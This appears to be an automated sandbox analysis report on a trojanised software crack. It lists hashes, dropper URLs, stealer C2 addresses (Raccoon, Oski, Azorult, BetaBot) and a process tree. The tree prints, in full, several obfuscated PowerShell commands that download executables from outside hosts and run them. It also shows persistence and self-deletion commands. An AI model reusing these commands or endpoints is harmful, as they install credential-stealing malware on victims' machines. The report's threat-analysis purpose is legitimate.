Resubmissions

12-11-2021 18:04

211112-wnzb8aahhm 10

19-11-2020 10:08

201119-rhwlt38jrx 10

18-11-2020 17:26

201118-htd4fq29va 10

Analysis

  • max time kernel
    338s
  • max time network
    336s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    12-11-2021 18:04

General

  • Target

    amtemu.v0.9.2.win-painter_edited.exe

  • Size

    3.5MB

  • MD5

    88124e4aba906259af28a466774431ea

  • SHA1

    fbc1c27e0d7177238ec99481ffa7d839d1f51594

  • SHA256

    1b94ce5e3fb24f02cd970bf09031482d4e2bafebcaafc3f477a735d483e13dbd

  • SHA512

    cdc0af6ea2686d35e4a77f4eb802ba9e41819b052253071a397601bec4d6232e5351d21b5d8ab4644e9f6ffd67057ec8c6f2db8605b429afcdf7b3ecd8005e2d

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Family

raccoon

Botnet

32365171a31c4583d6e3b7aad1690e41cefc38eb

Attributes
  • url4cnc

    http://telegalive.top/brikitiki

    http://toptelete.top/brikitiki

    http://telegraf.top/brikitiki

    https://t.me/brikitiki

rc4.plain
rc4.plain

Extracted

Family

oski

C2

colonna.ac.ug

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • BetaBot

    Beta Bot is a Trojan that infects computers and disables Antivirus.

  • Modifies firewall policy service 2 TTPs 4 IoCs
  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • suricata: ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz

    suricata: ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

  • suricata: ET MALWARE Win32/AZORult V3.3 Client Checkin M18

    suricata: ET MALWARE Win32/AZORult V3.3 Client Checkin M18

  • suricata: ET MALWARE Win32/Neurevt.A/Betabot Check-in 4

    suricata: ET MALWARE Win32/Neurevt.A/Betabot Check-in 4

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 38 IoCs
  • Sets file execution options in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 14 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 7 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 35 IoCs
  • Maps connected drives based on registry 3 TTPs 64 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
  • Suspicious use of SetThreadContext 15 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 9 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 7 IoCs
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 3 IoCs
  • Modifies Internet Explorer Protected Mode 1 TTPs 4 IoCs
  • Modifies Internet Explorer Protected Mode Banner 1 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 46 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\amtemu.v0.9.2.win-painter_edited.exe
    "C:\Users\Admin\AppData\Local\Temp\amtemu.v0.9.2.win-painter_edited.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1160
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\872D.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\amtemu.v0.9.2.win-painter_edited.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4028
      • C:\Users\Admin\AppData\Local\Temp\872D.tmp\key.exe
        key.exe
        3⤵
        • Executes dropped EXE
        • Checks whether UAC is enabled
        • Maps connected drives based on registry
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of WriteProcessMemory
        PID:920
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ytmp\t28024.bat" "C:\Users\Admin\AppData\Local\Temp\872D.tmp\key.exe" "
          4⤵
          • Drops file in Drivers directory
          • Checks whether UAC is enabled
          • Maps connected drives based on registry
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of WriteProcessMemory
          PID:1408
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h C:\Users\Admin\AppData\Local\Temp\ytmp
            5⤵
            • Views/modifies file attributes
            PID:2176
          • C:\Windows\SysWOW64\find.exe
            FIND /C /I "0.0.0.0 cracksmind.com" C:\Windows\system32\drivers\etc\hosts
            5⤵
              PID:3444
            • C:\Windows\SysWOW64\find.exe
              FIND /C /I "0.0.0.0 www.cracksmind.com" C:\Windows\system32\drivers\etc\hosts
              5⤵
                PID:3772
              • C:\Users\Admin\AppData\Local\Temp\afolder\data.dat
                C:\Users\Admin\AppData\Local\Temp\afolder/data.dat
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • Checks whether UAC is enabled
                • Maps connected drives based on registry
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                PID:3560
          • C:\Windows\SysWOW64\timeout.exe
            TIMEOUT /T 1
            3⤵
            • Delays execution with timeout.exe
            PID:2120
          • C:\Users\Admin\AppData\Local\Temp\872D.tmp\Microsoft.VisualStudio.Package.LanguageService.11.0.exe
            Microsoft.VisualStudio.Package.LanguageService.11.0.exe
            3⤵
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Maps connected drives based on registry
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2088
            • C:\Windows\SysWOW64\Wbem\wmic.exe
              "wmic" os get Caption /format:list
              4⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1332
          • C:\Windows\SysWOW64\timeout.exe
            TIMEOUT /T 2
            3⤵
            • Delays execution with timeout.exe
            PID:688
          • C:\Users\Admin\AppData\Local\Temp\872D.tmp\bb.exe
            bb.exe
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:3116
            • C:\Users\Admin\AppData\Local\Temp\872D.tmp\bb.exe
              "C:\Users\Admin\AppData\Local\Temp\872D.tmp\bb.exe"
              4⤵
              • Executes dropped EXE
              • Checks whether UAC is enabled
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Checks processor information in registry
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1276
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                5⤵
                • Modifies firewall policy service
                • Checks BIOS information in registry
                • Adds Run key to start application
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Checks processor information in registry
                • Enumerates system info in registry
                • Modifies Internet Explorer Protected Mode
                • Modifies Internet Explorer Protected Mode Banner
                • Modifies Internet Explorer settings
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2220
          • C:\Windows\SysWOW64\timeout.exe
            TIMEOUT /T 3
            3⤵
            • Delays execution with timeout.exe
            PID:3716
          • C:\Users\Admin\AppData\Local\Temp\872D.tmp\puttty.exe
            puttty.exe
            3⤵
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Maps connected drives based on registry
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            PID:1808
            • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
              dw20.exe -x -s 2176
              4⤵
              • Maps connected drives based on registry
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious behavior: EnumeratesProcesses
              PID:2376
          • C:\Windows\SysWOW64\timeout.exe
            TIMEOUT /T 4
            3⤵
            • Delays execution with timeout.exe
            PID:1920
          • C:\Users\Admin\AppData\Local\Temp\872D.tmp\ereds.exe
            ereds.exe
            3⤵
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Maps connected drives based on registry
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            PID:1308
            • C:\Users\Admin\AppData\Local\Temp\keygen.exe
              "C:\Users\Admin\AppData\Local\Temp\keygen.exe"
              4⤵
                PID:1072
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1D34.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\keygen.exe"
                  5⤵
                  • Checks whether UAC is enabled
                  • Maps connected drives based on registry
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Modifies registry class
                  PID:832
                  • C:\Users\Admin\AppData\Local\Temp\1D34.tmp\Keygen.exe
                    Keygen.exe
                    6⤵
                    • Executes dropped EXE
                    • Checks whether UAC is enabled
                    • Maps connected drives based on registry
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious use of SetWindowsHookEx
                    PID:972
                  • C:\Windows\SysWOW64\mshta.exe
                    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1D34.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                    6⤵
                    • Checks whether UAC is enabled
                    • Maps connected drives based on registry
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    PID:1936
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                      7⤵
                      • Blocklisted process makes network request
                      • Maps connected drives based on registry
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3324
                      • C:\Users\Public\vkr.exe
                        "C:\Users\Public\vkr.exe"
                        8⤵
                        • Executes dropped EXE
                        • Checks whether UAC is enabled
                        • Maps connected drives based on registry
                        • Suspicious use of SetThreadContext
                        • Suspicious behavior: MapViewOfSection
                        • Suspicious use of SetWindowsHookEx
                        PID:5100
                        • C:\Users\Admin\AppData\Local\Temp\cdvcxsdme.exe
                          "C:\Users\Admin\AppData\Local\Temp\cdvcxsdme.exe"
                          9⤵
                          • Executes dropped EXE
                          • Checks whether UAC is enabled
                          • Maps connected drives based on registry
                          • Suspicious use of SetThreadContext
                          • Suspicious behavior: MapViewOfSection
                          • Suspicious use of SetWindowsHookEx
                          PID:1764
                          • C:\Users\Admin\AppData\Local\Temp\cdvcxsdme.exe
                            "C:\Users\Admin\AppData\Local\Temp\cdvcxsdme.exe"
                            10⤵
                            • Executes dropped EXE
                            PID:1440
                        • C:\Users\Admin\AppData\Local\Temp\vbndfgame.exe
                          "C:\Users\Admin\AppData\Local\Temp\vbndfgame.exe"
                          9⤵
                          • Executes dropped EXE
                          • Checks whether UAC is enabled
                          • Maps connected drives based on registry
                          • Suspicious use of SetThreadContext
                          • Suspicious behavior: MapViewOfSection
                          • Suspicious use of SetWindowsHookEx
                          PID:4700
                          • C:\Users\Admin\AppData\Local\Temp\vbndfgame.exe
                            "C:\Users\Admin\AppData\Local\Temp\vbndfgame.exe"
                            10⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Checks processor information in registry
                            PID:4880
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c taskkill /pid 4880 & erase C:\Users\Admin\AppData\Local\Temp\vbndfgame.exe & RD /S /Q C:\\ProgramData\\991295832238767\\* & exit
                              11⤵
                                PID:2424
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /pid 4880
                                  12⤵
                                  • Kills process with taskkill
                                  PID:3068
                          • C:\Users\Public\vkr.exe
                            "C:\Users\Public\vkr.exe"
                            9⤵
                            • Executes dropped EXE
                            PID:1320
                    • C:\Windows\SysWOW64\mshta.exe
                      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1D34.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                      6⤵
                      • Checks whether UAC is enabled
                      • Maps connected drives based on registry
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      PID:1392
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                        7⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4696
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout 1
                      6⤵
                      • Delays execution with timeout.exe
                      PID:2728
                    • C:\Windows\SysWOW64\mshta.exe
                      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1D34.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                      6⤵
                      • Checks whether UAC is enabled
                      PID:964
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                        7⤵
                        • Blocklisted process makes network request
                        • Suspicious behavior: EnumeratesProcesses
                        PID:428
                        • C:\Users\Public\mwh.exe
                          "C:\Users\Public\mwh.exe"
                          8⤵
                          • Executes dropped EXE
                          • Checks whether UAC is enabled
                          • Maps connected drives based on registry
                          • Suspicious use of SetThreadContext
                          • Modifies registry class
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4884
                          • C:\Windows\SysWOW64\WScript.exe
                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rmfigo.vbs"
                            9⤵
                            • Checks whether UAC is enabled
                            PID:4536
                            • C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                              "C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe"
                              10⤵
                              • Executes dropped EXE
                              • Checks whether UAC is enabled
                              • Maps connected drives based on registry
                              • Suspicious use of SetThreadContext
                              • Modifies registry class
                              PID:2696
                              • C:\Windows\SysWOW64\WScript.exe
                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Dvdljtaccvivylcfphls.vbs"
                                11⤵
                                  PID:5088
                                  • C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe
                                    "C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe"
                                    12⤵
                                    • Executes dropped EXE
                                    • Checks whether UAC is enabled
                                    • Maps connected drives based on registry
                                    • Suspicious use of SetThreadContext
                                    PID:700
                                    • C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe
                                      C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe
                                      13⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Checks processor information in registry
                                      PID:4888
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c taskkill /pid 4888 & erase C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe & RD /S /Q C:\\ProgramData\\558898630531236\\* & exit
                                        14⤵
                                        • Checks whether UAC is enabled
                                        • Maps connected drives based on registry
                                        PID:2644
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill /pid 4888
                                          15⤵
                                          • Kills process with taskkill
                                          PID:1540
                                • C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                                  C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                                  11⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Accesses Microsoft Outlook profiles
                                  • Checks processor information in registry
                                  • outlook_office_path
                                  • outlook_win_path
                                  PID:3988
                                  • C:\Users\Admin\AppData\Local\Temp\cc.exe
                                    "C:\Users\Admin\AppData\Local\Temp\cc.exe"
                                    12⤵
                                    • Executes dropped EXE
                                    • Checks whether UAC is enabled
                                    • Maps connected drives based on registry
                                    • Suspicious use of SetThreadContext
                                    • Modifies system certificate store
                                    PID:4552
                                    • C:\Users\Admin\AppData\Local\Temp\cc.exe
                                      C:\Users\Admin\AppData\Local\Temp\cc.exe
                                      13⤵
                                      • Executes dropped EXE
                                      PID:1164
                                      • C:\Windows\SysWOW64\schtasks.exe
                                        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
                                        14⤵
                                        • Creates scheduled task(s)
                                        PID:2228
                                  • C:\Users\Admin\AppData\Local\Temp\pm.exe
                                    "C:\Users\Admin\AppData\Local\Temp\pm.exe"
                                    12⤵
                                    • Executes dropped EXE
                                    • Adds Run key to start application
                                    • Suspicious use of SetThreadContext
                                    PID:1336
                                    • C:\Users\Admin\AppData\Local\Temp\aspnet_compiler.exe
                                      C:\Users\Admin\AppData\Local\Temp\aspnet_compiler.exe
                                      13⤵
                                      • Executes dropped EXE
                                      PID:4384
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "Uxqcrfgglyzuwogibeigruaconsoleapp12.exe"
                                    12⤵
                                    • Checks whether UAC is enabled
                                    • Maps connected drives based on registry
                                    PID:4748
                                    • C:\Windows\SysWOW64\timeout.exe
                                      C:\Windows\system32\timeout.exe 3
                                      13⤵
                                      • Delays execution with timeout.exe
                                      PID:4896
                            • C:\Users\Admin\AppData\Local\Temp\mwh.exe
                              C:\Users\Admin\AppData\Local\Temp\mwh.exe
                              9⤵
                              • Executes dropped EXE
                              PID:4964
                      • C:\Windows\SysWOW64\mshta.exe
                        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1D34.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                        6⤵
                        • Checks whether UAC is enabled
                        PID:2472
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                          7⤵
                          • Blocklisted process makes network request
                          • Suspicious behavior: EnumeratesProcesses
                          PID:3188
                          • C:\Users\Public\gev.exe
                            "C:\Users\Public\gev.exe"
                            8⤵
                            • Executes dropped EXE
                            • Checks whether UAC is enabled
                            • Maps connected drives based on registry
                            • Suspicious use of SetThreadContext
                            • Modifies registry class
                            • Suspicious behavior: EnumeratesProcesses
                            PID:4900
                            • C:\Windows\SysWOW64\WScript.exe
                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rmfigo.vbs"
                              9⤵
                              • Checks whether UAC is enabled
                              PID:4664
                              • C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                                "C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe"
                                10⤵
                                • Executes dropped EXE
                                • Checks whether UAC is enabled
                                • Maps connected drives based on registry
                                • Suspicious use of SetThreadContext
                                • Modifies registry class
                                PID:3104
                                • C:\Windows\SysWOW64\WScript.exe
                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Dvdljtaccvivylcfphls.vbs"
                                  11⤵
                                    PID:4656
                                    • C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe
                                      "C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe"
                                      12⤵
                                      • Executes dropped EXE
                                      • Checks whether UAC is enabled
                                      • Maps connected drives based on registry
                                      • Suspicious use of SetThreadContext
                                      PID:5032
                                      • C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe
                                        C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe
                                        13⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • Checks processor information in registry
                                        PID:4964
                                        • C:\Windows\SysWOW64\cmd.exe
